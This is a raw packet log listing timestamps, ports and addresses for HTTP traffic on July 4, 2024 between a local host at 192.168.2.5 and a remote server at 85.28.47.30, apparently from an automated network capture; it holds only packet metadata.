Jul 4, 2024 22:20:31.042407990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042409897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042423964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042432070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042437077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042448997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.042449951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042463064 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.042485952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043062925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043073893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043083906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043097019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043107986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043109894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043122053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043133020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043134928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043145895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043159962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043160915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043171883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043178082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043184042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043195963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043203115 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043209076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043221951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.043226004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043236971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.043262005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044034958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044045925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044061899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044073105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044084072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044084072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044092894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044095993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044109106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044120073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044121981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044135094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044146061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044150114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044161081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044163942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044177055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044188976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044190884 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044203043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044213057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044239044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044919014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044930935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044940948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044953108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044962883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044965982 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044975042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.044989109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.044990063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045003891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045015097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045017958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045031071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045038939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045043945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045058012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045059919 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045070887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045082092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045084000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045094967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045108080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045106888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045123100 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045146942 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045875072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045887947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045897961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045909882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045922041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045922995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045939922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045950890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045958042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045964956 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045970917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045983076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.045994043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.045994997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046004057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046011925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046022892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046025991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046036005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046041012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046055079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046060085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046067953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046070099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046081066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046092987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046117067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046714067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046727896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046739101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046751976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046760082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046765089 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046782970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046782970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046796083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.046808004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046819925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.046847105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133506060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133547068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133557081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133563042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133579016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133595943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133678913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133690119 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133702040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133713961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133713961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133729935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133745909 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133894920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.133940935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.133986950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134002924 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134015083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134026051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134032011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134040117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134049892 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134053946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134076118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134094000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134511948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134524107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134536982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134547949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134558916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134558916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134571075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134572029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134584904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134597063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.134599924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134613037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.134638071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135070086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135080099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135085106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135098934 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135109901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135119915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135122061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135139942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135148048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135153055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135160923 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135165930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135179043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135190964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135205030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135685921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135698080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135709047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135730028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135734081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135744095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135755062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135756969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135770082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135782003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135782003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135795116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135795116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.135821104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.135844946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136158943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136171103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136183023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136193037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136204004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136204004 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136218071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136224031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136230946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136245966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136246920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136260033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136270046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136274099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136296034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136315107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136846066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136857986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136868000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136878967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136889935 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136898041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136904001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136909962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136921883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136928082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136934996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136949062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136950970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136960030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136971951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.136971951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136986971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.136991978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.137000084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.137012959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.137013912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.137037039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.137051105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.138324022 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138335943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138345957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138359070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138370037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138372898 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.138381958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138387918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.138396025 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138403893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.138411999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.138425112 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.138448954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139065981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139077902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139089108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139102936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139112949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139115095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139127970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139136076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139141083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139153957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139156103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139166117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139174938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139178991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139189959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139202118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139208078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139219999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139226913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139231920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.139235020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139262915 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.139276981 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140379906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140392065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140403032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140414000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140424013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140424013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140436888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140438080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140450001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140461922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140464067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140475035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140479088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140492916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140496969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140506029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140517950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140525103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140530109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140542984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140543938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140556097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140557051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.140575886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.140599966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141113997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141134024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141144037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141155958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141166925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141166925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141175985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141180038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141191959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141202927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141204119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141215086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141216993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141226053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141238928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141244888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141252041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141264915 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141268015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141278028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141287088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141297102 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141324997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141855001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141866922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.141900063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.141913891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229068041 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229111910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229123116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229124069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229149103 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229156017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229322910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229334116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229343891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229356050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229372025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229398012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229511976 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229553938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229572058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229613066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229677916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229691029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229701042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.229726076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.229748964 CEST	49704	80	192.168.2.5	85.28.47.30
